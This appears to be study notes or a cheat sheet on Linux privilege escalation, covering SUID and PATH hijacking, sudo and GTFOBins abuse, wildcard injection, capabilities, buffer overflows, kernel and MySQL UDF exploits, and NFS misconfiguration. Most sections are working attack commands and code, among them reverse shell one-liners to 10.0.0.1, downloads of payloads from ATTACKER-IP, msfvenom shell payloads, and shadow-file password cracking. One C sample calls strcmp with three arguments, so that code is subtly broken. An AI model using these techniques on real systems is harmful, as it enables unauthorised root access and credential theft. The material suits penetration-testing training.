

Linux Privilege Escalation

Contents

1	Introduction to Linux Basics	2
1.1	Terminal and Bash Fundamentals	2
1.2	File Operations	3
1.3	Process Management	3
1.4	Network Operations	3
1.5	User Management	3
1.6	File Permissions	4
1.7	Path Variable	4
2	SUID Binaries and Path Hijacking	4
2.1	SUID Binary Creation	4
2.2	Path Hijacking Exploit	5
2.3	Vulnerable C Program	5
2.4	Fix for Path Hijacking	5
2.5	Real UID vs Effective UID	6
3	Understanding User IDs and GTFOBins	6
3.1	GTFOBins for SUID Exploitation	6
3.2	wget (SUID Method)	6
3.3	hexdump (SUID Method)	6
3.4	vim/vi (SUID Method)	6
3.5	ssh-keygen (SUID Method)	7
4	Sudo Misconfigurations	7
4.1	Sudo Command Inspection	7
4.2	/etc/sudoers File	7
4.3	Sudoers Syntax	7
4.4	Exploiting Sudo Misconfigurations	7
4.5	Sudo Privilege Table	8
4.6	Exploiting Specific Binaries	8
5	Wildcard Expansion Exploits	8
5.1	Wildcard Characters	8
5.2	tar Exploitation	9
5.3	find Exploitation	9
5.4	rsync Exploitation	9
5.5	Prevention	9

6	Shells and File Transfers	10
6.1	Reverse vs Bind Shells	10
6.2	File Transfer Methods	10
6.3	Reverse Shell Payloads	10
6.4	Shell Upgrading	10
7	Password Cracking	10
7.1	/etc/passwd vs /etc/shadow	10
7.2	Cracking Process	10
8	Enumeration	11
8.1	Key Enumeration Areas	11
8.2	Automated Tools	11
9	Process Monitoring with pspy	11
10	Linux Capabilities	12
10.1	Key Capabilities	12
10.2	Enumeration	12
10.3	Exploitation	12
11	Port Forwarding	12
11.1	Local Port Forwarding	12
11.2	Remote Port Forwarding	12
12	Buffer Overflow	12
12.1	Vulnerable Program	12
12.2	Exploitation Steps	13
13	Kernel Exploitation	13
13.1	Exploitation Process	13
14	MySQL UDF Exploitation	14
14.1	Exploit Steps	14
15	Other Privilege Escalation Techniques	14
15.1	World-Writable Files	14
15.2	LD_PRELOAD Hijacking	14
15.3	Cron Job Exploitation	14
15.4	SUID Binary Exploits	14
15.5	Sensitive Files	15
15.6	NFS Exploitation	15

1 Introduction to Linux Basics

1.1 Terminal and Bash Fundamentals

The terminal is the GUI that allows communication with bash, and bash communicates directly with the OS. The tty facilitates communication between a terminal and bash.

Essential commands:

```
1 whoami # Shows current user
2 id # User info, group IDs, group membership
3 hostname # Host name
4 pwd # Print working directory
5 ~ # Alias for user's home directory
6 env # Print environment variables
7 echo $VAR # Print value of environment variable
8 which prog # Path to program (e.g., which echo = /usr/bin/echo)
```

Path types:

- Absolute path: Full path from root directory
- Relative path: Path relative to current working directory

1.2 File Operations

```
1 ls -a # Show all files including hidden (starting with .)
2 mv file dest # Move file to destination
3 fdisk -l # Disk information
```

1.3 Process Management

```
1 ps aux # View system processes
2 ps -axjf # Show process hierarchy
```

1.4 Network Operations

```
1 ip address # Network interfaces
2 ip a # Same as above
3 netstat -ltpn # Enumerate running services
```

1.5 User Management

```
1 sudo useradd -m <username> # Add user
2 sudo passwd <username> # Change password
3 sudo userdel -r <username> # Delete user and home directory
4 groups <username> # List user's groups
5 sudo groupadd <groupname> # Create new group
6 sudo usermod -aG <group> <user> # Add user to group
```

Files:

- /etc/passwd: User information
- /etc/shadow: Hashed passwords (root accessible)
- /etc/group: Group information

1.6 File Permissions

View permissions:

```
1 ls -lha # List files with permissions, owner, group
```

Permission notation:

- First character: File type (- = regular file, d = directory, l = link)
- Next 9 characters: Three groups of three (owner|group|others)
- Permissions: r = read (4), w = write (2), x = execute (1)
- Special bits: s = SUID/SGID, t = sticky bit

Modify permissions:

```
1 chmod g+x file_name # Add execute for group
2 chmod o-r file_name # Remove read for others
3 chmod u-rwx g+rwx test.sh # Remove owner perms, add group perms
4 chmod 755 file # rwxr-xr-x
5 chmod 644 file # rw-r--r--
```

Special bits:

- SUID: Execute as owner
- SGID: Execute as group
- Sticky bit: Only owner can delete (common in /tmp)

1.7 Path Variable

```
1 echo $PATH # Show directories for executable search
```

When executing a command without full path, shell searches directories in \$PATH in order.

2 SUID Binaries and Path Hijacking

2.1 SUID Binary Creation

Compile and set SUID:

```
1 gcc reader.c -o reader && sudo chown root reader && sudo chmod +s reader
```

2.2 Path Hijacking Exploit

Vulnerable program calling `cat` without absolute path:

1. Create malicious script:

```
1 echo -e '#!/bin/sh\n/bin/bash' > cat
2 chmod +x cat
```

2. Execute with malicious PATH:

```
1 PATH=.:$PATH ./reader 01.txt
```

2.3 Vulnerable C Program

```
1 #include <stdio.h>
2 #include <string.h>
3 #include <stdlib.h>
4 #include <unistd.h>
5
6 char *VALID_FILES[] = { "01.txt", "02.txt" };
7 int valid_files_count = 2;
8
9 int main(int argc, char **argv) {
10     if (argc < 2) {
11         fprintf(stderr, "Usage: %s <filename>\n", argv[0]);
12         return 1;
13     }
14
15     char *user_filename = argv[1];
16     for (int i = 0; i < valid_files_count; i++) {
17         char *valid_filename = VALID_FILES[i];
18         int length = strlen(valid_filename);
19
20         if (!strcmp(user_filename, valid_filename, length)) {
21             char cmd[42] = {0};
22             sprintf(cmd, "cat ./archive/%s", user_filename);
23             setuid(0);
24             setgid(0);
25             system(cmd);
26             return 0;
27         }
28     }
29     printf("No matching files found\n");
30     return 0;
31 }
```

2.4 Fix for Path Hijacking

Use absolute path in C program:

```
1 sprintf(cmd, "/bin/cat archive/%s", user_filename);
```

2.5 Real UID vs Effective UID

- **Real User ID (RUID):** Actual user who launched the process
- **Effective User ID (EUID):** Used for permission checks during execution

3 Understanding User IDs and GTFOBins

3.1 GTFOBins for SUID Exploitation

Curated list of Unix binaries that can be abused for privilege escalation: <https://gtfobins.github.io>

3.2 wget (SUID Method)

1. Create payload:

```
1 echo "chmod +s /bin/bash" > /tmp/secret.sh
```

2. Host payload:

```
1 cd /tmp && python3 -m http.server 8080
```

3. Download and execute:

```
1 ./wget http://127.0.0.1:8080/secret.sh -O /tmp/secret.sh
2 chmod +x /tmp/secret.sh
3 /tmp/secret.sh
```

4. Get root shell:

```
1 /bin/bash -p # -p preserves effective UID
```

3.3 hexdump (SUID Method)

```
1 ./hexdump /etc/passwd
2 # Then type: !/bin/sh
```

3.4 vim/vi (SUID Method)

```
1 ./vim
2 # Then run: :!bash
```

3.5 ssh-keygen (SUID Method)

Create C payload:

```
1 int main() {  
2     setuid(0);  
3     setgid(0);  
4     system("/bin/bash");  
5     return 0;  
6 }
```

Compile and execute:

```
1 gcc rootme.c -o rootme  
2 ./ssh-keygen -D ./rootme
```

4 Sudo Misconfigurations

4.1 Sudo Command Inspection

```
1 sudo -l # List sudo privileges for current user
```

4.2 /etc/sudoers File

Safe editing:

```
1 sudo visudo # Syntax-checked editor
```

4.3 Sudoers Syntax

- root ALL=(ALL:ALL) ALL
 - User: root
 - Host: ALL
 - Run as: (ALL users: ALL groups)
 - Commands: ALL
- %sudo ALL=(ALL:ALL) ALL: Applies to sudo group
- ubuntu ALL=(ALL) NOPASSWD:ALL: Dangerous no-password config

4.4 Exploiting Sudo Misconfigurations

If `sudo -l` shows:

```
1 (scriptmanager) NOPASSWD: ALL
```

Exploit with:

```
1 sudo -u scriptmanager /bin/bash
```

4.5 Sudo Privilege Table

Sudo -l Output	Command	Password	Root?	Description
(scriptmanager) NOPASSWD: ALL	sudo -u scriptmanager /bin/bash	No	Yes	Full access as scriptmanager
(scriptmanager) ALL	sudo -u scriptmanager /bin/bash	Yes	Yes	Requires user password
(ALL) NOPASSWD: ALL	sudo -u anyuser command	No	Yes	Execute as any user

4.6 Exploiting Specific Binaries

Example for pip:

1. Create malicious package:

```
1 mkdir /tmp/mypackage
2 cd /tmp/mypackage
```

2. Create setup.py:

```
1 from setuptools import setup
2 import os
3 os.system("/bin/bash")
4 setup(
5     name="exploit",
6     version="0.1",
7     scripts=[],
8 )
```

3. Execute:

```
1 sudo /usr/bin/pip install .
```

5 Wildcard Expansion Exploits

5.1 Wildcard Characters

- * : Match any string
- ? : Match single character

abc : Match one character in set

!abc : Match character not in set

- {a,b} : Expand to a and b
- \: Escape special characters

5.2 tar Exploitation

1. Create payload files:

```
1 echo "touch /tmp/hacked" > shell.sh
2 touch -- --checkpoint=1
3 touch -- "--checkpoint-action=exec=sh shell.sh"
```

2. Trigger wildcard expansion:

```
1 tar -cf archive.tar * # Expands to dangerous options
```

5.3 find Exploitation

Vulnerable cron job:

```
1 find /tmp -not -regex ".*\.log" -exec rm -f {} \;
```

Exploit:

```
1 touch "/tmp/; echo payload | bash"
```

5.4 rsync Exploitation

Vulnerable command:

```
1 rsync -a -e "ssh -p 2222" *.txt user@remote:/backup
```

Exploit:

```
1 touch "-- -e sh payload.txt"
```

5.5 Prevention

- Quote paths: `tar -cf "archive.tar" "/opt/*"`
- Use `-` to stop option parsing: `tar -cf archive.tar - /opt/*`
- Avoid wildcards in root scripts

6 Shells and File Transfers

6.1 Reverse vs Bind Shells

- **Bind shell:** Victim listens, attacker connects
- **Reverse shell:** Victim connects to attacker

6.2 File Transfer Methods

```
1 # Attacker host file
2 python3 -m http.server 1337
3
4 # Victim download
5 curl http://ATTACKER-IP:1337/file -o file
6 wget http://ATTACKER-IP:1337/file -O file
```

6.3 Reverse Shell Payloads

Bash:

```
1 bash -c 'bash -i >& /dev/tcp/10.0.0.1/4242 0>&1'
```

Python:

```
1 python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("10.0.0.1",4242))
;[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'
```

6.4 Shell Upgrading

```
1 python3 -c 'import pty; pty.spawn("/bin/bash")'
2 export TERM=xterm
3 stty rows 40 columns 120
```

7 Password Cracking

7.1 /etc/passwd vs /etc/shadow

- /etc/passwd: World-readable, user info
- /etc/shadow: Root-only, password hashes

7.2 Cracking Process

1. Combine files:

```
1 unshadow /etc/passwd /etc/shadow > unshadowed
```

2. Crack with John:

```
1 john --wordlist=rockyou.txt unshadowed
2 john --show unshadowed
```

3. Crack with Hashcat:

```
1 hashcat -m 1800 -a 0 hashes.txt rockyou.txt # SHA512
2 hashcat -m 1800 -a 0 hashes.txt --show
```

8 Enumeration

8.1 Key Enumeration Areas

- Hardware: `uname -a`
- OS version: `cat /etc/os-release`
- Environment: `env`
- Users/groups: `cat /etc/passwd`, `cat /etc/group`
- Sudo: `sudo -l`
- SUID/SGID:

```
1 find / -perm -4000 -type f 2>/dev/null # SUID
2 find / -perm -2000 -type f 2>/dev/null # SGID
```

- Services: `netstat -lptn`
- Network: `ip a`

8.2 Automated Tools

LinEnum.sh:

```
1 wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
2 bash LinEnum.sh -t > enum_report.txt
```

9 Process Monitoring with pspy

1. Download:

```
1 wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/
   pspy64
2 chmod +x pspy64
```

2. Monitor:

```
1 ./pspy64 # Shows cron jobs and processes
```

3. Exploit writable scripts in cron jobs

10 Linux Capabilities

10.1 Key Capabilities

- `cap_net_raw`: Send raw packets
- `cap_sys_ptrace`: Debug processes
- `cap_setuid`: Change UID

10.2 Enumeration

```
1 getcap -r / 2>/dev/null # Find binaries with capabilities
```

10.3 Exploitation

Example for `cap_setuid`:

```
1 #include <unistd.h>
2 int main() {
3     setuid(0);
4     execl("/bin/bash", "bash", NULL);
5 }
```

Compile and run:

```
1 gcc exploit.c -o exploit
2 ./exploit
```

11 Port Forwarding

11.1 Local Port Forwarding

```
1 ssh -L 1337:127.0.0.1:3306 user@victim # Forward remote DB to local
```

11.2 Remote Port Forwarding

```
1 ssh -R 8080:127.0.0.1:80 user@attacker # Forward local web to attacker
```

12 Buffer Overflow

12.1 Vulnerable Program

```

1 #include <stdio.h>
2 void vuln() {
3     char buf[80];
4     gets(buf); // Dangerous!
5 }
6 int main() { vuln(); return 0; }

```

12.2 Exploitation Steps

1. Compile without protections:

```

1 gcc vuln.c -fno-stack-protector -z execstack -no-pie -o vuln

```

2. Find offset:

```

1 msf-pattern_create -l 200 > pattern
2 gdb ./vuln
3 run < pattern
4 info registers # Get EIP/RIP value
5 msf-pattern_offset -q VALUE

```

3. Create payload with NOP sled, shellcode, and return address

4. Execute:

```

1 (python -c 'print "PAYLOAD"'; cat) | ./vuln

```

13 Kernel Exploitation

13.1 Exploitation Process

1. Check kernel version:

```

1 uname -a

```

2. Find exploit:

```

1 searchsploit "linux kernel 3.2"

```

3. Transfer and compile:

```

1 wget http://ATTACKER-IP/exploit.c
2 gcc exploit.c -o exploit

```

4. Execute:

```

1 ./exploit

```

14 MySQL UDF Exploitation

14.1 Exploit Steps

1. Compile UDF:

```
1 gcc -g -c raptor_udf2.c -fPIC
2 gcc -g -shared -o raptor_udf2.so raptor_udf2.o -lc
```

2. MySQL commands:

```
1 USE mysql;
2 CREATE TABLE foo(line BLOB);
3 INSERT INTO foo VALUES(LOAD_FILE('/tmp/raptor_udf2.so'));
4 SELECT * FROM foo INTO DUMPFILE '/usr/lib/plugin/raptor_udf2.so';
5 CREATE FUNCTION do_system RETURNS INTEGER SONAME 'raptor_udf2.so';
6 SELECT do_system('chmod +s /bin/bash');
```

3. Get root:

```
1 /bin/bash -p
```

15 Other Privilege Escalation Techniques

15.1 World-Writable Files

- /etc/shadow: Replace password hash
- /etc/passwd: Add user with UID 0

15.2 LD_PRELOAD Hijacking

When `sudo -l` shows `env_keep+=LD_PRELOAD`:

```
1 gcc -fPIC -shared -o /tmp/preload.so payload.c
2 sudo LD_PRELOAD=/tmp/preload.so PROGRAM
```

15.3 Cron Job Exploitation

For wildcard vulnerabilities:

```
1 msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=4444 -f elf -o shell.elf
2 touch -- '--checkpoint=1'
3 touch -- '--checkpoint-action=exec=shell.elf'
```

15.4 SUID Binary Exploits

- Shared object injection
- PATH hijacking
- Function export hijacking (`BASH_FUNC_myfunc()`)

15.5 Sensitive Files

- History files: `cat .*history`
- SSH keys: `find / -name id_rsa 2>/dev/null`
- Config files: `/etc/openvpn/credentials.txt`

15.6 NFS Exploitation

When `no_root_squash` enabled:

1. On attacker:

```
1 mkdir /mnt/nfs
2 mount -o rw,vers=3 victim:/share /mnt/nfs
3 cd /mnt/nfs
4 msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o shell.elf
5 chmod +xs shell.elf
```

2. On victim:

```
1 ./share/shell.elf
```